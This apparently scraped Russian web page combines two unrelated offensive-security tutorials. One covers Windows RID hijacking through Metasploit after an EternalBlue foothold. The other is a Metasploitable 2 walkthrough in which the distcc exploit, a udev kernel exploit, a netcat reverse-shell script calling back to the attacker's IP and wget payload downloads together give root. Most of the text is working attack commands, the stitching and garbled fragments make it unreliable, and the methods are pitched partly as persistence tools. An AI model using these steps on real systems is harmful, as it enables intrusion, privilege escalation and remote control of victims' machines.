Повышение привилегий linux metasploit

Статья RID Hijacking: повышаем привилегии обычного user до Administrator (rid_hijack, metasploit, Kali Linux)

1540131261883.png

Иногда довольно сложно удержать доступ к машине жертвы после успешного проникновения, особенно если нет возможности выполнить вредоносный код от имени администратора или создать и добавить пользователя в привилегированную группу. Сегодня хотел бы поговорить о методе пост эксплуатации под названием RID Hijacking — уязвимости, которая известна почти год, но патча от Microsoft всё еще нет…

RID Hijacking (или “угон RID”) — уязвимость найденная специалистом по безопасности из Колумбии Себастьяном Кастро, которая представляет из себя возможность получить права админа и добиться устойчивого присутствия в системе. Метод основан на подмене одного из параметров учетных записей в системе — относительного идентификатора (RID).

Интересно, что данную уязвимость специалист опубликовал в своем блоге еще в декабре 2017, но новость осталась незамеченной и даже несмотря на то что эксперт отправил в Microsoft отчет сразу после проверки своей теории на практике, ответа он не получил, а патч так и не вышел.
RID — это уникальное порядковое число, присвоенное учетной записи, которое добавляется в конец SID (Security ID). Например RID учетной записи администратора всегда имеет значение 500, а RID для учетной записи гостя имеет значение 501.

Данная атака основана на изменении ключей реестра Windows, что позволяет присвоить идентификатор на любую учетную запись, тем самым предоставляя права, которые привязаны к этому идентификатору(RID). Подобная техника крайне полезна хакерам, которые уже проникли в систему жертвы и пытаются реализовать методы постэксплуатации. Подмена RID позволит запустить вредоносное ПО от имени администратора, даже после перезагрузки ПК. К этой уязвимости подвержены почти все версии Windows — начиная от XP и заканчивая последними обновлениями Windows 10, а также и серверные ОС с Windows Server 2003 до 2016. Пока Microsoft “думает“ над патчем, специалисты подготовили готовый модуль для Metasploit, который доступен в последней версии фреймворка.

Читайте также:  Linux show arp table

Реализация атаки
Атака будет реализована на Kali Linux, а атакуемый будет использовать Windows 7. В первую очередь обновим наш Metasploit командой apt update && apt install metasploit-framework. После запускаем фреймворк командой msfconsole и переходим к модулю для подмены RID.

1540131398753.png

  • GETSYSTEM: если true, попытается получить привилегии SYSTEM
  • GUEST_ACCOUNT: если true, будет использовать учетную запись “Гость” для подмены ID
  • PASSWORD: если указано, подменит пароль для учетной записи
  • RID: RID, который будет присвоен учетной записи
  • USERNAME: если указано, будет искать определенную учетную запись пользователя и использовать его для подмены идентификатора, если GUEST_ACCOUNT = true, будет проигнорирован
  • SESSION: указать номер сессии Meterpreter (подразумевается, что у нас имеется сессия)

. Если атакуемый не подвержен к этому виду атаки используйте любой другой вариант(например реализация уязвимости dde_delivery). Но это уже совсем другая история.

В моем примере я реализовал атаку EternalBlue для получения сессии обычного пользователя Windows 7 без прав администратора. Чтобы узнать имя учетной записи жертвы необходимо перейти к shell-оболочке и прописать whoami, либо загрузить mimkatz и прописать команду wdigest (

). Далее я использовал опцию background для того, чтобы сессия не закрывалась при выходе из Meterpreter-оболочки и можно было перейти к модулю RID Hijack.

1540131463300.png

На данный момент мы в роли злоумышленника имеем доступ к обычному пользователю. Перед выполнением эксплойта для повышения привилегии хочу заметить, что у нас нет прав на создание, редактирование и удаление файлов в папке system32, а также нет прав на запуск файлов от имени администратора.

1540131498688.png

Узнаем RID прописав команду whoami /all в cmd. RID указан в конце Security ID и он равен 1010.

1540131516508.png

Итак, для реализации эксплойта укажем параметры username, password и session, а остальные параметры оставляем дефолтными.

1540131537845.png

Прописываем exploit и скрипт моментально находит учетную запись, меняет RID и изменяет пароль.

1540131554009.png

Теперь необходимо перезайти в пользователя. При входе прописываем пароль “qwerty”, который указывали в опции “password”. Убеждаемся, что RID поменялся: для этого в командной строке прописываем команду whoami /all.

1540131571920.png

Обычный юзер “переобулся” в админа и теперь может запускать программы от имени администратора и например создавать, редактировать, удалять файлы в каталоге system32.

Читайте также:  Copying linux file system

1540131588216.png

Ну и напоследок создаем учетную запись с правами администратора, перезаходим в новую учетку и радуемся полноценной админкой.

1540131615987.png

1540131625839.png

В завершении
Обнаружить данный вид атаки очень непросто, потому что она задействует стандартные ресурсы системы и не привлекает внимание атакуемого. Так как используются механизмы самой ОС, антивирусы, скорее всего, не “учуют” подобный эксплойт. Ну а в логах системы все операции будут фиксироваться как пользовательские.

Результаты своего исследования автор эксплойта представил на нескольких конференциях и отравил отчет представителям Microsoft еще в начале 2018-го, но уязвимость доступна по сей день на последних патчах Windows 10.

Источник

Русские Блоги

Спарта — замечательный сканер, быстрый и эффективный.

На Кали выполните эту команду в терминале.

В спартанском окне нажмите «Click here to add host(s) to scopeMsgstr «В поле» Добавить хосты в область «введите IP-адрес Metasploitable 2, как показано ниже.

Нажмите » Add to scope «Кнопка.

Через несколько секунд Спартанец нашел службу, но она продолжала сканировать.

Примерно через 2 минуты он найдет «distcc», как показано ниже.

DistCC используется для масштабирования больших заданий компилятора в разных системах, но его можно использовать для выполнения произвольных команд.

Используйте Metasploit

На Кали выполните эту команду в терминале.

msfconsole 

В Metasploit выполните эту команду.

search distcc 

В Metasploit выполните эту команду.

info exploit/unix/misc/distcc_exec 

В Metasploit эти команды выполняются с использованием IP-адреса цели Metasploitable 2.

use exploit/unix/misc/distcc_exec set RHOST 192.168.58.134 exploit whoam1

Поиск версии ядра

Чтобы повысить разрешения, вам нужно использовать ядро. Поэтому первая задача — выяснить, какую версию ядра использует цель.

В Metasploit выполните эти команды в командной оболочке.

uname -a lsb_release -a 

Целевое ядро2.6.24РаспределениеUbuntu 8.04Как показано ниже.

Ищу лазейки

На Kali откройте новый терминал и выполните эту команду, чтобы найти уязвимость, которая увеличивает разрешения для этого ядра.

searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6 

Мы будем использовать8572.cЭксплойт, как показано ниже

На Kali выполните эту команду, чтобы проверить исходный код уязвимости.

less /usr/share/exploitdb/exploits/linux/local/8572.c

Информация об уязвимости отображается, как показано ниже.

Читайте также:  Wifi deauth kali linux

Прочитайте, код не длинный, прочитайте и нажмитеqВыход «меньше».

Используйте Apache для предоставления эксплойтов

На Kali выполните эти команды, чтобы перезапустить apache2 и создать символическую ссылку, чтобы сделать все уязвимости доступными для загрузки.

service apache2 restart ln -s /usr/share/exploitdb/exploits/linux/local/ /var/www/html/

Готов к запуску файла

Уязвимость будет выполнена на цели/ tmp / runФайл, так что нам нужно сделать это.

Мы будем использовать простую обратную оболочку netcat.

На Кали выполните эту команду.

nano /var/www/html/run 

В nano введите эти строки и замените IP-адрес на адрес машины Kali.

#!/bin/bash nc 192.168.58.129 12345 -e /bin/bash 

прессCtrl + CYEnterСохраните файл.

Загрузить файл

На Kali в оболочке с низким уровнем привилегий выполните эти команды для загрузки файлов в цель. Замените IP-адрес на IP-адрес машины Kali.

cd /tmp wget http://192.168.58.129 /run wget http://192.168.58.129 /local/8572.c

Компилировать эксплойт

На Kali в оболочке с низким уровнем привилегий выполните эти команды для компиляции файлов эксплойтов и файлов списков.

gcc -o exploit 8572.c ls -l

Найти PID

В документации по эксплойту говорится, что нам нужен идентификатор процесса (PID) сокета udevd netlink.

На Kali в командной оболочке с низким уровнем привилегий выполните эти команды, чтобы вывести список сетевых процессов и процессов udev.

cat /proc/net/netlink ps aux | grep udev 

Единственный ненулевой PID в netlink должен быть номером, который вы хотите. Когда я делаю это, это2738Как показано ниже.

Чтобы подтвердить,udevdPID процесса должен быть на один выше. Когда я делаю это, это 2746, как показано ниже.

ps aux | grep udev

Начать слушатель

Когда эксплойт udev запускается, он запускает скрипт «run», который подключается обратно к Kali через порт 12345.

На Kali откройте новое окно терминала и выполните эти команды для прослушивания соединений.

nc -lvp 12345

Запустите эксплойт

На Kali в оболочке с низкими привилегиями выполните эту команду, чтобы повысить привилегии и открыть обратную оболочку. Замените номер на правильный PID цели.

./exploit 2746 

Успешно изменен с обычного пользователя на пользователя root. Аминь.

Источник

Оцените статью
Adblock
detector